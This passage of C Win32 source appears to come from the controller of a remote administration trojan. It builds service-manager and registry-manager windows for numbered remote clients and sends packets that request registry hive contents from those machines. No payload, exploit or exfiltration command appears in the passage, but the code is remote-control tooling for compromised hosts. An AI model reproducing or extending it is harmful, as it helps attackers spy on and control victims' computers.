  3824. ////////////////////////////////////////////////////////////////////////////////
  3825.     default:
  3826.         return FALSE;
  3827.     }
  3828. return TRUE;
  3829. }
  3830. DWORD WINAPI ServiceWindow(LPVOID lpParam)
  3831. {
  3832.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  3833.     char WindowText [50] = "";
  3834.     char COMPUTER [50] = "";
  3835.     int LID = atoi(FILEWINDOW->ID);
  3836.    
  3837.     strcpy(COMPUTER, WINDOWIP);
  3838.  
  3839.     HICON hIcon;
  3840.  
  3841.     ServiceHwnd[LID]=CreateDialog(PassInst,(LPCTSTR)IDD_SERVICES,NULL,(DLGPROC)ServiceProc);
  3842.     ShowWindow(ServiceHwnd[LID],SW_SHOW);
  3843.     InitCommonControls();
  3844.  
  3845.     ZeroMemory(&WindowText[0],10);
  3846.     sprintf(&WindowText[0],"%d | %s | Service Manager", LID, COMPUTER);
  3847.  
  3848.     SetWindowText(ServiceHwnd[LID], WindowText);
  3849.     Head.PacketType = PACKET_SERVICE_MAN;
  3850.     Head.ID = LID;
  3851.     strcpy(Head.Data, "");
  3852.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  3853.  
  3854.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  3855.     SendMessage(ServiceHwnd[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  3856.     DeleteObject(hIcon);
  3857.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  3858.     SendMessage(ServiceHwnd[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  3859.  
  3860.     MSG msg;
  3861.     while(GetMessage(&msg,ServiceHwnd[LID],0,0)==TRUE)
  3862.     {
  3863.         TranslateMessage(&msg);
  3864.         DispatchMessage(&msg);
  3865.     }
  3866. return 0;
  3867. }
  3868. ////////////////////////////////////////////////////////////////////////////////////
  3869. //Registry manager
  3870. ////////////////////////////////////////////////////////////////////////////////////
  3871. //Registry manager
  3872. int AddKeyFolder(char * KeyFolder, int ID)
  3873. {
  3874.             tvinsert.hParent=RSelected[ID];         // top most level no need handle
  3875.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  3876.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  3877.             tvinsert.item.pszText=KeyFolder;
  3878.             tvinsert.item.iImage=0;
  3879.             tvinsert.item.iSelectedImage=0;
  3880.             RParent=(HTREEITEM)SendDlgItemMessage(RegHwnd[ID],IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  3881.             TreeView_Select(GetDlgItem(RegHwnd[ID],IDC_REGFOLDERS), RSelected[ID], TVGN_CARET);
  3882.             TreeView_Expand(GetDlgItem(RegHwnd[ID],IDC_REGFOLDERS), RSelected[ID], TVM_EXPAND);
  3883.             TreeView_Select(GetDlgItem(RegHwnd[ID],IDC_REGFOLDERS), RSelected[ID], TVGN_CARET);
  3884.  
  3885.  
  3886. return 0;
  3887. }
  3888. int RegKeyValue(char * Name,char * Value , int ID2, int ID)
  3889. {
  3890. char Buff [1024] = "";
  3891.  
  3892.     LV_ITEM item;
  3893.     switch(ID2)
  3894.     {
  3895.     case REG_BINARY:
  3896.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3897.     item.iItem= 0;
  3898.     item.iImage = 1;
  3899.     item.iSubItem=0;
  3900.     item.pszText=Name;
  3901.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3902.  
  3903.     item.iSubItem=1;
  3904.     item.pszText="REG_BINARY";
  3905.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3906.         break;
  3907.     case REG_DWORD:
  3908.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3909.     item.iItem= 0;
  3910.     item.iImage = 1;
  3911.     item.iSubItem=0;
  3912.     item.pszText=Name;
  3913.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3914.  
  3915.     item.iSubItem=1;
  3916.     item.pszText="REG_DWORD";
  3917.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3918.         break;
  3919.     case REG_DWORD_BIG_ENDIAN:
  3920.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3921.     item.iItem= 0;
  3922.     item.iImage = 1;
  3923.     item.iSubItem=0;
  3924.     item.pszText=Name;
  3925.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3926.  
  3927.     item.iSubItem=1;
  3928.     item.pszText="REG_DWORD_BIG_ENDIAN";
  3929.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3930.         break;
  3931.     case REG_EXPAND_SZ:
  3932.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3933.     item.iItem= 0;
  3934.     item.iImage = 2;
  3935.     item.iSubItem=0;
  3936.     item.pszText=Name;
  3937.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3938.  
  3939.     item.iSubItem=1;
  3940.     item.pszText="REG_EXPAND_SZ";
  3941.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3942.         break;
  3943.     case REG_LINK:
  3944.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3945.     item.iItem= 0;
  3946.     item.iImage = 1;
  3947.     item.iSubItem=0;
  3948.     item.pszText=Name;
  3949.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3950.  
  3951.     item.iSubItem=1;
  3952.     item.pszText="REG_LINK";
  3953.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3954.         break;
  3955.     case REG_MULTI_SZ:
  3956.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3957.     item.iItem= 0;
  3958.     item.iImage = 2;
  3959.     item.iSubItem=0;
  3960.     item.pszText=Name;
  3961.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3962.  
  3963.     item.iSubItem=1;
  3964.     item.pszText="REG_MULTI_SZ";
  3965.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3966.         break;
  3967.     case REG_NONE:
  3968.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3969.     item.iItem= 0;
  3970.     item.iImage = 1;
  3971.     item.iSubItem=0;
  3972.     item.pszText=Name;
  3973.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3974.  
  3975.     item.iSubItem=1;
  3976.     item.pszText="REG_NONE";
  3977.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3978.         break;
  3979.     case REG_QWORD:
  3980.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3981.     item.iItem= 0;
  3982.     item.iImage = 1;
  3983.     item.iSubItem=0;
  3984.     item.pszText=Name;
  3985.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3986.  
  3987.     item.iSubItem=1;
  3988.     item.pszText="REG_QWORD";
  3989.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3990.         break;
  3991.     case REG_SZ:
  3992.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  3993.     item.iItem= 0;
  3994.     item.iImage = 2;
  3995.     item.iSubItem=0;
  3996.     item.pszText=Name;
  3997.     item.iItem=ListView_InsertItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  3998.  
  3999.     item.iSubItem=1;
  4000.     item.pszText="REG_SZ";
  4001.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  4002.         break;
  4003.     }
  4004.     item.iSubItem=2;
  4005.     item.pszText=Value;
  4006.     ListView_SetItem(GetDlgItem(RegHwnd[ID],IDC_KEYLIST),&item);
  4007. /*
  4008.     item.iSubItem=2;
  4009.     item.pszText=Status;
  4010.     ListView_SetItem(GetDlgItem(ServiceHwnd[ID],IDC_SERVICES),&item);
  4011.  
  4012.     item.iSubItem=3;
  4013.     item.pszText=StartUp;
  4014.     ListView_SetItem(GetDlgItem(ServiceHwnd[ID],IDC_SERVICES),&item);*/
  4015. return 0;
  4016. }
  4017. int GetParentDir(HWND hwnd, HTREEITEM hitem, char * Buf)
  4018. {
  4019. char A [1024] = "";
  4020. char B [1024] = "";
  4021. char C [1024] = "";
  4022. int BA = 0;
  4023. HTREEITEM hitemA;
  4024. HTREEITEM hitemB;
  4025. //////////////////////////////////////////
  4026.                     strcpy(B, C);
  4027.                     strcpy(C, Buf);
  4028.                     strcat(C, "\\");
  4029.                     strcat(C, B);
  4030.                     //MessageBox(NULL, C, "C", MB_OK);
  4031.                    
  4032. //////////////////////////////////////////
  4033. hitemA = TreeView_GetParent(GetDlgItem(hwnd, IDC_REGFOLDERS), hitem);
  4034.      
  4035.                 TreeView_EnsureVisible(hwnd,hitemA);
  4036.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemA);
  4037.                 flagSelected=true;
  4038.                 tvi.mask=TVIF_TEXT;
  4039.                 tvi.pszText=A;
  4040.                 tvi.cchTextMax=256;
  4041.                 tvi.hItem=hitemA;
  4042.  
  4043.                     if(SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  4044.                     {
  4045.                     //MessageBox(NULL, A, "A", MB_OK);
  4046.                    
  4047.                     if(strstr(A, "HKEY_CLASSES_ROOT"))
  4048.                     {
  4049.                         strcpy(Head.Data, C);
  4050.                         Head.PacketType = PACKET_REG_MANAGER;
  4051.                         Head.ID2 = 0;
  4052.                         //MessageBox(NULL, C, "C", MB_OK);
  4053.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4054.                         return 0;
  4055.                     }
  4056.                     if(strstr(A, "HKEY_CURRENT_USER"))
  4057.                     {
  4058.                         strcpy(Head.Data, C);
  4059.                         Head.PacketType = PACKET_REG_MANAGER;
  4060.                         Head.ID2 = 1;
  4061.                         //MessageBox(NULL, C, "C", MB_OK);
  4062.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4063.                         return 0;
  4064.                     }
  4065.                     if(strstr(A, "HKEY_LOCAL_MACHINE"))
  4066.                     {
  4067.                         strcpy(Head.Data, C);
  4068.                         Head.PacketType = PACKET_REG_MANAGER;
  4069.                         Head.ID2 = 2;
  4070.                         //MessageBox(NULL, C, "C", MB_OK);
  4071.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4072.                         return 0;
  4073.                     }
  4074.                     if(strstr(A, "HKEY_USERS"))
  4075.                     {
  4076.                         strcpy(Head.Data, C);
  4077.                         Head.PacketType = PACKET_REG_MANAGER;
  4078.                         Head.ID2 = 3;
  4079.                         //MessageBox(NULL, C, "C", MB_OK);
  4080.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4081.                         return 0;
  4082.                     }
  4083.                     if(strstr(A, "HKEY_CURRENT_CONFIG"))
  4084.                     {
  4085.                         strcpy(Head.Data, C);
  4086.                         Head.ID2 = 4;
  4087.                         Head.PacketType = PACKET_REG_MANAGER;
  4088.                         //MessageBox(NULL, C, "C", MB_OK);
  4089.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4090.                         return 0;
  4091.                     }
  4092.                     strcpy(B, C);
  4093.                     strcpy(C, A);
  4094.                     strcat(C, "\\");
  4095.                     strcat(C, B);
  4096.                 //  MessageBox(NULL, C, "C", MB_OK);
  4097.                     }
  4098. while(1)
  4099. {
  4100. switch(BA)
  4101.     {
  4102.     case 0:
  4103.         hitemB = TreeView_GetParent(GetDlgItem(hwnd, IDC_REGFOLDERS), hitemA);
  4104.      
  4105.                 TreeView_EnsureVisible(hwnd,hitemB);
  4106.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemB);
  4107.                 flagSelected=true;
  4108.                 tvi.mask=TVIF_TEXT;
  4109.                 tvi.pszText=A;
  4110.                 tvi.cchTextMax=256;
  4111.                 tvi.hItem=hitemB;
  4112.                 if(SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  4113.                     {
  4114.  
  4115.                     if(strstr(A, "HKEY_CLASSES_ROOT"))
  4116.                     {
  4117.                         strcpy(Head.Data, C);
  4118.                         Head.PacketType = PACKET_REG_MANAGER;
  4119.                         Head.ID2 = 0;
  4120.                         //MessageBox(NULL, C, "C", MB_OK);
  4121.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4122.                         return 0;
  4123.                     }
  4124.                     if(strstr(A, "HKEY_CURRENT_USER"))
  4125.                     {
  4126.                         strcpy(Head.Data, C);
  4127.                         Head.PacketType = PACKET_REG_MANAGER;
  4128.                         Head.ID2 = 1;
  4129.                         //MessageBox(NULL, C, "C", MB_OK);
  4130.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4131.                         return 0;
  4132.                     }
  4133.                     if(strstr(A, "HKEY_LOCAL_MACHINE"))
  4134.                     {
  4135.                         strcpy(Head.Data, C);
  4136.                         Head.PacketType = PACKET_REG_MANAGER;
  4137.                         Head.ID2 = 2;
  4138.                         //MessageBox(NULL, C, "C", MB_OK);
  4139.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4140.                         return 0;
  4141.                     }
  4142.                     if(strstr(A, "HKEY_USERS"))
  4143.                     {
  4144.                         strcpy(Head.Data, C);
  4145.                         Head.PacketType = PACKET_REG_MANAGER;
  4146.                         Head.ID2 = 3;
  4147.                         //MessageBox(NULL, C, "C", MB_OK);
  4148.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4149.                         return 0;
  4150.                     }
  4151.                     if(strstr(A, "HKEY_CURRENT_CONFIG"))
  4152.                     {
  4153.                         strcpy(Head.Data, C);
  4154.                         Head.ID2 = 4;
  4155.                         Head.PacketType = PACKET_REG_MANAGER;
  4156.                         //MessageBox(NULL, C, "C", MB_OK);
  4157.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4158.                         return 0;
  4159.                     }
  4160.                     strcpy(B, C);
  4161.                     strcpy(C, A);
  4162.                     strcat(C, "\\");
  4163.                     strcat(C, B);
  4164.                    
  4165.                     }
  4166.                 //MessageBox(NULL, C, "C", MB_OK);
  4167.                    
  4168.                     BA = 1;
  4169.         break;
  4170.  
  4171.     case 1:
  4172.                 hitemA = TreeView_GetParent(GetDlgItem(hwnd, IDC_REGFOLDERS), hitemB);
  4173.      
  4174.                 TreeView_EnsureVisible(hwnd,hitemA);
  4175.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemA);
  4176.                 flagSelected=true;
  4177.                 tvi.mask=TVIF_TEXT;
  4178.                 tvi.pszText=A;
  4179.                 tvi.cchTextMax=256;
  4180.                 tvi.hItem=hitemA;
  4181.  
  4182.                     if(SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  4183.                     {
  4184.                    
  4185.                     if(strstr(A, "HKEY_CLASSES_ROOT"))
  4186.                     {
  4187.                         strcpy(Head.Data, C);
  4188.                         Head.PacketType = PACKET_REG_MANAGER;
  4189.                         Head.ID2 = 0;
  4190.                         //MessageBox(NULL, C, "C", MB_OK);
  4191.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4192.                         return 0;
  4193.                     }
  4194.                     if(strstr(A, "HKEY_CURRENT_USER"))
  4195.                     {
  4196.                         strcpy(Head.Data, C);
  4197.                         Head.PacketType = PACKET_REG_MANAGER;
  4198.                         Head.ID2 = 1;
  4199.                         //MessageBox(NULL, C, "C", MB_OK);
  4200.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4201.                         return 0;
  4202.                     }
  4203.                     if(strstr(A, "HKEY_LOCAL_MACHINE"))
  4204.                     {
  4205.                         strcpy(Head.Data, C);
  4206.                         Head.PacketType = PACKET_REG_MANAGER;
  4207.                         Head.ID2 = 2;
  4208.                         //MessageBox(NULL, C, "C", MB_OK);
  4209.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4210.                         return 0;
  4211.                     }
  4212.                     if(strstr(A, "HKEY_USERS"))
  4213.                     {
  4214.                         strcpy(Head.Data, C);
  4215.                         Head.PacketType = PACKET_REG_MANAGER;
  4216.                         Head.ID2 = 3;
  4217.                         //MessageBox(NULL, C, "C", MB_OK);
  4218.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4219.                         return 0;
  4220.                     }
  4221.                     if(strstr(A, "HKEY_CURRENT_CONFIG"))
  4222.                     {
  4223.                         strcpy(Head.Data, C);
  4224.                         Head.ID2 = 4;
  4225.                         Head.PacketType = PACKET_REG_MANAGER;
  4226.                         //MessageBox(NULL, C, "C", MB_OK);
  4227.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4228.                         return 0;
  4229.                     }
  4230.                     strcpy(B, C);
  4231.                     strcpy(C, A);
  4232.                     strcat(C, "\\");
  4233.                     strcat(C, B);
  4234.                                        
  4235.                     }
  4236.                     BA = 0;
  4237.         break;
  4238.     }
  4239.    
  4240. }
  4241.  
  4242. return 0;
  4243. }
  4244. int SetReg(HWND hWnd)
  4245. {
  4246. RECT rc;    // client area  
  4247. GetClientRect(hWnd, &rc);
  4248.  
  4249. MoveWindow(GetDlgItem(hWnd, IDC_KEYLIST),(rc.right / 3) + 5,0,(rc.right - (rc.right / 3)) - 5, rc.bottom, TRUE);
  4250. MoveWindow(GetDlgItem(hWnd, IDC_REGFOLDERS),0,0,rc.right / 3, rc.bottom , TRUE);
  4251.  
  4252. return 1;
  4253. }
  4254. LRESULT CALLBACK RegProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  4255. {
  4256.     int Select;
  4257.     char WindowOut  [10] = "";
  4258.     char WindowOutY [10] = "";
  4259.     char Title [50] = "";
  4260.     int FG = 0;
  4261.     LV_COLUMN   col;
  4262. //  LV_ITEM     item;
  4263. //  RECT rc;
  4264.     HICON RegIcon;
  4265.  
  4266.     switch(message)
  4267.     {
  4268. ////////////////////////////////////////////////////////////////////////////////
  4269.     case WM_INITDIALOG:
  4270.         RegImageList=ImageList_Create(16,16,ILC_COLOR16,20,30);
  4271.         ImageList_SetBkColor(RegImageList,CLR_NONE);// Macro: 16x16:16bit with 2 pics [array]
  4272.         RegIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FOLDER), IMAGE_ICON, 16, 16, 0);                  // load the picture from the resource
  4273.         ImageList_AddIcon(RegImageList, RegIcon);
  4274.  
  4275.         RegIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_DWORD), IMAGE_ICON, 16, 16, 1);               // load the picture from the resource
  4276.         ImageList_AddIcon(RegImageList, RegIcon);
  4277.  
  4278.         RegIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_STRING), IMAGE_ICON, 16, 16, 2);                  // load the picture from the resource
  4279.         ImageList_AddIcon(RegImageList, RegIcon);
  4280.  
  4281.         ListView_SetImageList(GetDlgItem(hwnd, IDC_KEYLIST),RegImageList, LVSIL_SMALL);
  4282.         SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SETIMAGELIST,0,(LPARAM)RegImageList); // put it onto the tree control
  4283.        
  4284.             tvinsert.hParent=NULL;          // top most level no need handle
  4285.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  4286.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  4287.             tvinsert.item.pszText="HKEY_CLASSES_ROOT";
  4288.             tvinsert.item.iImage=0;
  4289.             tvinsert.item.iSelectedImage=0;
  4290.             RParent=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  4291.  
  4292.             tvinsert.hParent=NULL;          // top most level no need handle
  4293.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  4294.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  4295.             tvinsert.item.pszText="HKEY_CURRENT_USER";
  4296.             tvinsert.item.iImage=0;
  4297.             tvinsert.item.iSelectedImage=0;
  4298.             RParent=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  4299.  
  4300.  
  4301.             tvinsert.hParent=NULL;          // top most level no need handle
  4302.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  4303.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  4304.             tvinsert.item.pszText="HKEY_LOCAL_MACHINE";
  4305.             tvinsert.item.iImage=0;
  4306.             tvinsert.item.iSelectedImage=0;
  4307.             RParent=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  4308.            
  4309.             tvinsert.hParent=NULL;          // top most level no need handle
  4310.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  4311.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  4312.             tvinsert.item.pszText="HKEY_USERS";
  4313.             tvinsert.item.iImage=0;
  4314.             tvinsert.item.iSelectedImage=0;
  4315.             RParent=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  4316.  
  4317.             tvinsert.hParent=NULL;          // top most level no need handle
  4318.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  4319.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  4320.             tvinsert.item.pszText="HKEY_CURRENT_CONFIG";
  4321.             tvinsert.item.iImage=0;
  4322.             tvinsert.item.iSelectedImage=0;
  4323.             RParent=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  4324.  
  4325.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_KEYLIST),LVS_EX_FULLROWSELECT);
  4326.         col.mask=LVCF_TEXT|LVCF_WIDTH|LVIF_IMAGE;  
  4327.         col.cx=100;
  4328.         col.fmt = LVCFMT_IMAGE;
  4329.  
  4330.         col.pszText="Name";
  4331.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_KEYLIST),0,&col);
  4332.         col.cx=100;
  4333.  
  4334.         col.pszText="Type";
  4335.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_KEYLIST),1,&col);
  4336.         col.cx=100;
  4337.  
  4338.         col.pszText="Data";
  4339.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_KEYLIST),2,&col);
  4340.         col.cx=100;
  4341.             SetReg(hwnd);
  4342. //////////////////////////////////////////////////////////////////////
  4343.  
  4344.     break;
  4345.         case WM_SIZING:
  4346.             switch(wParam)
  4347.             {
  4348.             case WMSZ_BOTTOM:
  4349.             SetReg(hwnd);
  4350.             break;
  4351.             case WMSZ_BOTTOMLEFT:
  4352.             SetReg(hwnd);
  4353.             break;
  4354.             case WMSZ_BOTTOMRIGHT:
  4355.             SetReg(hwnd);
  4356.             break;
  4357.             case WMSZ_LEFT:
  4358.             SetReg(hwnd);
  4359.             break;
  4360.             case WMSZ_RIGHT:
  4361.             SetReg(hwnd);
  4362.             break;
  4363.             case WMSZ_TOP:
  4364.             SetReg(hwnd);
  4365.             break;
  4366.             case WMSZ_TOPLEFT:
  4367.             SetReg(hwnd);
  4368.             break;
  4369.             case WMSZ_TOPRIGHT:
  4370.             SetReg(hwnd);
  4371.             break;
  4372.             }
  4373.             break;
  4374.         case WM_NOTIFY:
  4375.         {
  4376.             case IDC_TREE1:
  4377.            
  4378.             if(((LPNMHDR)lParam)->code == NM_DBLCLK) // if code == NM_CLICK - Single click on an item
  4379.             {
  4380.                 char Text[255]="";
  4381.                 memset(&tvi,0,sizeof(tvi));
  4382.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  4383.                     Head.ID = atoi(WindowOut);
  4384.                     //MessageBox(NULL, Text, Text, MB_OK);
  4385.                 RSelected[Head.ID] = NULL;
  4386.                 RSelected[Head.ID]=(HTREEITEM)SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_GETNEXTITEM,TVGN_CARET,(LPARAM)RSelected[Head.ID]);
  4387.                
  4388.                 if(RSelected[Head.ID]==NULL)
  4389.                 {
  4390.                     break;
  4391.                 }
  4392.                 ResetProcs(hwnd, IDC_KEYLIST);
  4393.                 TreeView_EnsureVisible(hwnd,RSelected[Head.ID]);
  4394.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_CARET,(LPARAM)RSelected[Head.ID]);
  4395.                 flagSelected=true;
  4396.                 tvi.mask=TVIF_TEXT;
  4397.                 tvi.pszText=Text;
  4398.                 tvi.cchTextMax=256;
  4399.                 tvi.hItem=RSelected[Head.ID];
  4400.  
  4401.                     if(SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  4402.                     {
  4403.                
  4404.                        
  4405.                     if(strstr(Text, "HKEY_CLASSES_ROOT"))
  4406.                     {
  4407.                     DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4408.                         strcpy(Head.Data, "");
  4409.                         Head.PacketType = PACKET_REG_MANAGER;
  4410.                         Head.ID2 = 0;
  4411.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4412.                         break;
  4413.                     }
  4414.                     if(strstr(Text, "HKEY_CURRENT_USER"))
  4415.                     {
  4416.  
  4417.                     DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4418.                         strcpy(Head.Data, "");
  4419.                         Head.PacketType = PACKET_REG_MANAGER;
  4420.                         Head.ID2 = 1;
  4421.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4422.                         break;
  4423.                     }
  4424.                     if(strstr(Text, "HKEY_LOCAL_MACHINE"))
  4425.                     {
  4426.                                             DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4427.                         strcpy(Head.Data, "");
  4428.                         Head.PacketType = PACKET_REG_MANAGER;
  4429.                         Head.ID2 = 2;
  4430.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4431.                         break;
  4432.                     }
  4433.                     if(strstr(Text, "HKEY_USERS"))
  4434.                     {
  4435.                     DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4436.                     strcpy(Head.Data, "");
  4437.                         Head.PacketType = PACKET_REG_MANAGER;
  4438.                         Head.ID2 = 3;
  4439.                        
  4440.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4441.                         break;
  4442.                     }
  4443.                     if(strstr(Text, "HKEY_CURRENT_CONFIG"))
  4444.                     {
  4445.                     DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4446.                         strcpy(Head.Data, "");
  4447.                         Head.ID2 = 4;
  4448.                         Head.PacketType = PACKET_REG_MANAGER;
  4449.                         SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(PACKETHEAD), 0);
  4450.                         break;
  4451.                     }
  4452.  
  4453.                 //  MessageBox(NULL, Text, Text, MB_OK);
  4454.                     DeleteChild(hwnd, IDC_REGFOLDERS,RSelected[Head.ID]);
  4455.                     GetParentDir(hwnd, RSelected[Head.ID], Text);
  4456.                       break;
  4457.                     }
  4458.                
  4459.             }
  4460.  
  4461.             if(((LPNMHDR)lParam)->code == NM_RCLICK) // Right Click
  4462.             {
  4463.             /*elected=(HTREEITEM)SendDlgItemMessage (hwnd,IDC_REGFOLDERS,TVM_GETNEXTITEM,TVGN_DROPHILITE,0);
  4464.                 if(Selected==NULL)
  4465.                 {
  4466.                     MessageBox(hwnd,"No Items in TreeView","Error",MB_OK|MB_ICONINFORMATION);
  4467.                     break;
  4468.                 }
  4469.                
  4470.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_CARET,(LPARAM)RSelected);
  4471.                 SendDlgItemMessage(hwnd,IDC_REGFOLDERS,TVM_SELECTITEM,TVGN_DROPHILITE,(LPARAM)RSelected);
  4472.                 TreeView_EnsureVisible(hTree,Selected);*/
  4473.             }  
  4474.         }
  4475.         break;
  4476.  
  4477.     /*  case WM_SIZING:
  4478.             switch(wParam)
  4479.             {
  4480.             case WMSZ_BOTTOM:
  4481.              GetClientRect(hwnd, &rc);
